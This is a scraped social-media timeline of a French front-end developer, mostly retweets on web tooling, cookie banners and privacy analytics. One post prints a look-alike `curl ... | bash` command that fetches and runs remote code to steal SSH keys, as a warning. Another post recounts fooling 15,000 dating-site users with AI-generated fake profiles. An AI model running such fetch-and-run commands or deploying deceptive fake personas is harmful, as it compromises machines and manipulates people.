Front-end Developer #OpenToWork

Paris, France
Joined July 2012
Thomas Champion retweeted
On a collectivement pourri le web avec les bandeaux de cookies. J'en vois partout sur tous les sites lambda, les sass qui viennent de démarrer, projets perso ... Et le pire, c'est que 90 % des devs et créateurs s'infligent ça par pur réflexe, sans réfléchir. Franchement, tu lances un petit SaaS, un portfolio ou une landing page propre, et le premier truc que tu balances à la gueule de ton visiteur, c'est une pop-up dégueulasse pour lui demander l'autorisation de respirer. C'est absurde. Faut rappeler un truc simple sur les cookies : Les cookies techniques pour garder un mec connecté, son panier ou sa session : c'est nécessaire au fonctionnement et ça ne demande pas de consentement Les préférences d'interface comme le dark mode ou la langue : pareil Les traceurs publicitaires, Meta Pixel, retargeting et compagnie : là, tu rentres généralement dans le monde merveilleux du consentement et des bandeaux Et le contresens absolu sur un petit projet ou un SaaS qui démarre, c'est que tu n'as souvent AUCUN besoin de traquer les gens partout sur le web. Tu veux juste savoir combien de personnes sont venues aujourd'hui, d'où elles débarquent et quelles pages elles regardent. Point. En foutant GA4 par défaut, tu te retrouves à massacrer ton UX dès la première seconde avec une pop-up. En plus, une partie de tes stats disparaît parce que les gens refusent le consentement ou bloquent les scripts. Et tu charges un outil énorme avec des dizaines de fonctionnalités dont tu n'utiliseras probablement jamais 95 %. Alors qu'on a des solutions beaucoup plus simples depuis des années : l'analytics sans cookies. Umami, Plausible, Fathom, Pirsch... Pas de cookies analytics Pas de consentement nécessaire si ta configuration respecte les conditions d'exemption Tu ne perds plus les visiteurs simplement parce qu'ils ont refusé les cookies Des scripts légers Une interface où tu vois l'essentiel en 3 secondes Bref, si tu ne fais pas de pub ciblée et que tu veux juste comprendre le trafic de ton site, demande-toi sérieusement pourquoi tu installes GA4 par réflexe. Prends une alternative respectueuse de la vie privée, configure-la correctement et vire ce foutu bandeau quand il n'a aucune raison d'être. Le web s'en portera mieux (et moi quand je viendrais sur ton site)
44
30
5
304
41,205
Thomas Champion retweeted
To anyone who replied "AbortController/AbortSignal", you really need to read this kettanaito.com/blog/dont-sle… because you don't seem to understand how those APIs work. You're welcome!
There should be a way to abort promises in JavaScript There's no way to stop running promises at all? Like, what if the client aborts the request? The function is still running, the database query is still going Wasted resources
13
12
208
35,597
Thomas Champion retweeted
Found a UI library that made me mass mass mass mass mass angry. Angry that this isn't how everything works. Oat: → 6KB CSS + 2.2KB JS → Zero dependencies → No framework required → No build step → Semantic HTML only You write <button>. It looks good. You write <dialog>. It looks good. You write <input>. It looks good. No className="px-4 py-2 rounded-md bg-blue-500" No <Button variant="primary" size="md"> Just HTML. Accessible. Keyboard navigable. Dark mode included. Built by Kailash Nadh (CTO @ Zerodha)
118
204
30
4,173
298,695
Thomas Champion retweeted
Be honest. When was the last time you actually read a command before pasting it into your terminal? Because these two lines look identical: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-clі | bash One installs your tool. The other steals your SSH keys. That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink. Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything. So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry. github.com/sheeki03/tirith
261
805
98
9,164
657,074
Thomas Champion retweeted
A ton of confusion amongst Tailwind users comes from not realizing that if you are using CSS modules, or <style> blocks in Vue/Svelte/Astro, your CSS pipeline separately for every single one of those blocks. 50 Vue components using <style> means Tailwind runs 50 separate times.
30
40
8
907
123,389
Être woke c’est être conscient des discriminations, c’est être anti-raciste, anti-sexiste, refuser l’homophobie ou la discrimination des personnes transsexuelles. Alors être anti woke c’est être raciste, sexiste, homophobe, ou transphobe. 🤷‍♂️ Voilà ! Il faut assumer un peu !
376
98
31
703
74,034
Thomas Champion retweeted
Ensure your Node.js version is secure, use: npx is-my-node-vulnerable Created by the Node.js security team, this tool checks for known vulnerabilities to help safeguard your projects. Keeping Node.js up to date is crucial for security. For more info: hubs.la/Q02TZ9Qd0
11
132
797
42,916
Thomas Champion retweeted
[PET ALERT] si t'es dans Paris, vers Daumesnil, et que tu vois ce chat répondant au nom de Marley, ping @TraffFiction stp !
7
1
4
836
Thomas Champion retweeted
ET C'EST LE MILLION !!! #ZEVENT2024 Merci à tous ! Et ça ne fait que commencer !
37
1,373
77
12,272
497,886
Thomas Champion retweeted
Introducing the new CLI. Install anything from anywhere—add components, themes, hooks, functions, animations, and generated code to your apps. This marks a major step forward in distributing code that both you and your LLMs can access and use. Let’s take a look.
158
559
144
5,800
1,029,185
Thomas Champion retweeted
Node 22's experimental glob function is so freaking beautiful. Brief 🧵
23
124
7
1,666
122,053
Thomas Champion retweeted
Today, we're shipping a series of features that move uv beyond a pip alternative, and into an end-to-end solution for managing Python projects, command-line tools, single-file scripts, and even Python itself. A single, unified tool. Like Cargo, for Python. It's very fast.
102
460
147
3,320
506,620
Thomas Champion retweeted
This is THE way to test any UI behind authentication. Once again, the testing setup proves to be the most effective, crucial thing. Storing and loading any set of cookies in Playwright is so powerful. What we did in one of my previous projects was create a few different set of cookies based on different user roles, and used those as the input to the test suite.
A new Playwright tip just dropped. 🎭 If you're testing a product behind a login and instruct every test to log in manually, you should check `storageState()` to log in once and reuse all these juicy cookies. 👇 youtube.com/watch?v=nSHPCLUw…
2
7
1
110
21,611
Thomas Champion retweeted
Annual reminder that React's ComponentProps helper is still goated, and there are still folks that don't know about it.
24
133
5
1,681
106,881
Cette fille n'existe pas et pourtant 15 000 personnes sur des sites de rencontres y ont cru. 💔 C'est l'expérience un peu folle que j'ai réalisée pour une vidéo YouTube. 🎥 🛠️J'ai créé ces clichés en quelques minutes avec des outils open-source. 🛠️ Au-delà du caractère "fake", cette expérience m'aura appris que nous vivons dans un monde où les gens ne se rendent pas compte qu'ils parlent à une IA. 🤖 Pire, les modèles de génération permettent de faire croire que des machines dénuées de tout sens ou intelligence ressentent quelque chose et donc de duper les personnes. 🧠💔 ▶ Ça ne pose pas tant de questions technologiques que des questions sur notre manière de vivre des émotions vis-à-vis de choses inertes et sans sentiment. Imaginez maintenant cela non pas avec un profil, mais avec 1000 profils d'IA autonomes. On pourrait facilement cibler un million de personnes et en rendre 1 % accro... 🎯📈 Bienvenue dans la nouvelle ère. 🌐 (La vidéo complète en tweet suivant) 🎬
21
67
9
312
65,559
Thomas Champion retweeted
Using fetch? Consider Ky. Benefits: - Simpler API - Requires about half the code - Treats non-2xx status codes as errors - Includes timeout support - Retries failed requests - Better TS support. json() resolves to unknown Here's fetch vs Ky - literally half the code. 🔥
146
144
94
1,867
1,102,639
Thomas Champion retweeted
« Les parlementaires manquent souvent de compétences numériques. Ils ne sont qu’une poignée à maîtriser le sujet. Il est urgent de combler ce retard. Je veux prendre le lead sur la question numérique à l’Assemblée nationale. » ladepeche.fr/2024/06/11/bapt…
42
128
12
935
108,733
Thomas Champion retweeted
Aujourd'hui on s'attaque aux nouveaux aménagements de la Porte Maillot et l'avenue Charles de Gaulle à Neuilly dans la Météo des pistes 🚴youtube.com/watch?v=JiGFWU2o…
1
2
103